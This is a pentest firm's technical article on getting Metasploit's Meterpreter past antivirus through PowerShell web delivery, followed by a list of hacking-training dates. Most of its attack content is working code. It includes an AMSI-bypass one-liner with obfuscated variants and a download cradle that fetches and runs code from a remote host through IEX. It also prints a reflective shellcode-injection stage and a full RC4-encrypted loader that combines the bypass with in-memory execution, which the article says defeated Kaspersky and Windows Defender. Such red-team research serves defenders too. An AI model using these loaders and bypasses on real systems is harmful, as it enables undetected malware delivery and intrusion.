Antivirus Evasion with Metasploit's Web Delivery

Leveraging PowerShell to Execute Arbitrary Shellcode. Ein Fachartikel von Dr. Adrian Vollmer

Introduction

It’s a never ending cat-and-mouse game: bad guys develop malware and good guys try to detect and mitigate malware to protect the end user. Whenever manufacturers of antivirus software come up with a new method of detecting malicious code or files, hackers find a way to circumvent that technique.

One particularly elegant technique of transmitting and executing malware has gained popularity in the last couple of years with both hackers and pentesters alike: Microsoft’s built-in tool PowerShell. It provided a convenient way of executing code directly in-memory without ever touching the disk. Since many antivirus products relied on scanning executables which are written on the disk, this attack vector was completely invisible to them.

Rapid7’s exploit framework Metasploit made it extremely simple to apply this technique. A module called Web Delivery gives the user a short one-liner (or rather two-liner, but it’s still manageable), a so-called download cradle, that executes whatever payload you want on the target. However, much to the dismay of many a pentesters, the Windows Defender, Kaspersky’s endpoint protection, and possibly other antivirus software started to monitor and detect “suspicious” PowerShell activity. In particular, it was game over for the popular Web Delivery.

This is largely due to a function called Antimalware Scan Interface (AMSI), which passes code to a malware detection engine before execution, no matter the execution method – disk or memory: it doesn’t matter. The cat quickly reacted and found a method to disable AMSI. It’s a short piece of code which does not require any special privileges and fits in a tweet:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

However, the mouse reacted just as quickly and AMSI now recognizes this piece of code and flags the script containing it as malware. It’s notoriously difficult to accurately detect malware, though, because you can’t have any false positives, or else you will break legitimate scripts by administrators, developers, or power users. This is no different. Slightly obfuscating the string amsiInitFailed is enough to trick AMSI. In fact, even substituting the single quotes with double quotes successfully bypasses the AMSI check, so it’s pretty basic pattern matching. This works:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInSySSiled'.Replace('SySS','itFa'),'NonPublic,Static').SetValue($null,$true)

For more details on AMSI and PowerShell monitoring, this article by MDSec is highly recommended.

This can be used to make web delivery invisible to antivirus software again.

How Antivirus Products Work

Imagine you are an antivirus product. How would you decide whether something is malware or not? You could do several things.

Signature-based detection

You can compare files to known viruses. Of course, you need to be smart and disregard irrelevant bits in that file. For this purpose, you can keep a database of virus signatures.

This method is necessary to catch low-effort attacks, but you won’t catch more sophisticated variants, where the attacker modifies bits that are not irrelevant or writes their own malware completely from scratch.

Advanced viruses encrypt parts of themselves such that they always look different and you can’t tell what they do except that they seem to decrypt something and then execute it.

Heuristics

Sometimes you can try to determine what an executable does by examining what functions they call. Some functions are particularly popular with malware. In combination, you can get a pretty good picture whether something is malicious or not, but you are still prone to false positives.

Behavior analysis

It’s possible to analyze what a program does while you run it. Either by running it in a sandbox first, where it can do no harm, or by analyzing it at runtime. You can detect code being loaded over the network or a process attaching itself to another process. Things that pretty much only a virus would do.

The problem with this is that some viruses recognize when they are in a sandbox and try to behave well while being in a sandboxed environment.

Traffic inspection

Since attackers are moving away from file-based attacks, it has become more important to monitor what is being transferred over the network. Even if you execute code in memory, you still have to get it on the machine somehow. If you see known malware inside HTTP traffic, you could put a stop to that before it comes to execution. This could even be done on the network by an appliance, unless the traffic is encrypted via TLS. Then you need to terminate the encryption somewhere else than on the user’s machine, inspect the traffic, and re-encrypt the connection with your own certificate. This could be a violation of privacy and brings other problems as well.

Even worse, this can be easily bypassed by not using TLS and instead obfuscating or encrypting the malicious payload differently.

Meterpreter: A Case Study

Perhaps the most popular post-exploitation tool is Rapid7’s Meterpreter, part of the Metasploit Framework. There are others such as Empireor Pupy. These are public frameworks that are used mostly by white hat hackers and pentesters. Of course, all antivirus products must catch those. It makes the pentester’s job harder, obviously, but needlessly so. Just because your antivirus software catches a low-hanging fruit in the form of publicly known malware doesn’t mean it can catch all post-exploitation tools. If you try hard enough, you can obfuscate all malware. Or you can write your own malware from scratch, like the NSA did. They called their post-exploitation framework “FuzzBunch”.

SySS developed their own tool to obfuscate known malware in 2013, which we call ShCoLo (a SHellCOde LOader). Back then, we couldn’t find any antivirus software that could catch it. Five years later, some antivirus vendors wised up and focused on the analysis of behavior, which is hard to hide. Some antivirus engines (for example Kaspersky) do detect malware that is obfuscated in this way. They use different techniques and we are currently doing research on how they work and how they can be outsmarted again. Expect another paper on how binaries containing malicious code can be obfuscated to come out soon.

Since Meterpreter makes our life harder, we want to focus on how to get it to run on our clients’ systems. Let’s stick to the in-memory technique for now.

Web Delivery

As mentioned above, Metasploit’s Web Delivery module makes it very easy to execute Meterpreter on the target during the post exploitation phase. Let’s try to understand what’s going on under the hood.

Using target 2, web delivery gives you a PowerShell one-liner like this (stage0):

powershell.exe -nop -w hidden -c $I=new-object net.webclient;$I.proxy=[Net.WebRequest]::GetSystemWebProxy();$I.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $I.downloadstring('http://192.168.1.1:8080/x');

This needs to be run on the target. It creates a new PowerShell process which downloads PowerShell code from 192.168.1.1/x and executes it using Invoke-Expression, or rather its short alias IEX. The PowerShell code usually looks like this (stage1):

if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};
$s=New-Object System.Diagnostics.ProcessStartInfo;
$s.FileName=$b;
$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''<Base64-encoded code>''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';
$s.UseShellExecute=$false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle='Hidden';
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);

We inserted some line breaks for readability and removed the unwieldy gzipped and base64-encoded stage2 in line 4. As you can see, this second stage is executed in yet another PowerShell process and is passed as an argument. The second stage is the actual payload, and in the case of the payload delivery method Powershell::method = reflection reads:

function lJ6 {
    Param ($yE, $hB)
    $vwgIu = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $vwgIu.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($vwgIu.GetMethod('GetModuleHandle')).Invoke($null, @($yE)))), $hB))
}

function gQsS {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $q7i,
        [Parameter(Position = 1)] [Type] $oAgfL = [Void]
    )

    $utESu = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $utESu.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $q7i).SetImplementationFlags('Runtime, Managed')
    $utESu.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $oAgfL, $q7i).SetImplementationFlags('Runtime, Managed')

    return $utESu.CreateType()
}

[Byte[]]$s9CE = [System.Convert]::FromBase64String("<Base64-encoded payload>")

$oboo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lJ6 kernel32.dll VirtualAlloc), (gQsS @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $s9CE.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($s9CE, 0, $oboo, $s9CE.length)

$fC = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lJ6 kernel32.dll CreateThread), (gQsS @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$oboo,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lJ6 kernel32.dll WaitForSingleObject), (gQsS @([IntPtr], [Int32]))).Invoke($fC,0xffffffff) | Out-Null

We notice immediately that the function and variable names have been randomized in order to make it harder for antivirus solutions to detect it. What this code does is the same as PowerSploit’s Invoke-Shellcode: It executes shellcode in-memory. The shellcode is hidden in a base64-encoded string in line 21, and typically a few hundred bytes long for staged payloads. The shellcode usually again works in multiple stages, loading more code in each stage.

Antivirus Evasion using Web Delivery

Now that we understand what is happening, we can try to make web delivery invisible to antivirus software.

First, we disable AMSI as described above. For this, we add the one-liner we talked about to stage1. With this, we are safe from static analysis of PowerShell code that is about to be executed.

However, we noticed that some products, for example Kaspersky Total Security, detects suspicious behavior, such as processes that download and execute code like, for instance, Meterpreter’s stage0. It’s possible to bypass that mechanism by using stageless Meterpreter shellcode, which makes total sense, because in a way we already have multiple stages just because we are using web delivery. There is no reason why the initial web request shouldn’t transfer the entire thing.

Except there was a reason. The Metasploit people worried about AMSI catching them, so they refrained from making use of Invoke-Expression. The point is that by using Invoke-Expression, we can directly execute much larger payloads. Before we were limited to a stage2 that is no larger than 8192 bytes, because it was passed as an argument – too little for a stageless Meterpreter. But since we can disable AMSI, this shouldn’t be a problem anymore. For this, we expanded web delivery by an option called exec_no_wrap. By using it, the entire payload is contained in stage1.

So far, so good. But there is still a potential pitfall. Now the entire payload is transferred via HTTP, and very often this channel is monitored by antivirus software. It can (and does!) detect a Meterpreter payload, even if it is base64-encoded and transferred via HTTPS. Simple encoding is not enough, we need encryption. A suitable approach is using RC4. It’s a weak cipher by modern cryptographic standards, but it’s easily implemented and good enough to trick antivirus products. Doing so makes stage1 look like this:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsib2Failed'.replace('b2','Init'),'NonPublic,Static').SetValue($null,$true)

function uoLFS {
    param([Byte[]]$dd)

    $nf = ([system.Text.Encoding]::UTF8).GetBytes("WyEOTbfycUMdjZ")

    $s = New-Object Byte[] 256;
    $k = New-Object Byte[] 256;

    for ($i = 0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $nf[$i % $nf.Length];
    }

    $j = 0;
    for ($i = 0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
    }

    $i = $j = 0;
    for ($x = 0; $x -lt $dd.Length; $x++)
    {
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $dd[$x] = $dd[$x] -bxor $s[$t];
    }

    $dd
}

Invoke-Expression ([system.Text.Encoding]::UTF8).GetString((uoLFS ([System.Convert]::FromBase64String("<Base64-encoded stage2>"))))

It contains:

  1. The AMSI switch
  2. An RC4 decryptor function
  3. The RC4 encrypted and base64-encoded payload
  4. A line that decrypts the payload and passes it to Invoke-Expression

Of course, the encryption key is right next to the encrypted payload. But antivirus products are not smart enough (yet) to recognize this. That’s precisely what AMSI was made for. It would pass the decrypted script block to the antivirus product before letting Invoke-Expression execute it.

Finally, our efforts yield a Meterpreter session on an up-to-date Windows 10 system with a running instance of Kaspersky Total Security (see Figure 1).

Windows Defender was also successfully bypassed. More antivirus products are currently being tested by us.


Termine

11.09.2018 - 12.09.2018
SySS-Schulung – Hack7: Sicherheit und Einfallstore bei Webapplikationen
18.09.2018 - 19.09.2018
SySS-Schulung - Hack1: Hacking Workshop 1
20.09.2018 - 21.09.2018
SySS-Schulung - Hack2: Hacking Workshop 2
25.09.2018 - 27.09.2018
SySS-Schulung – Hack3: Angriffe gegen Windows-basierte Netzwerke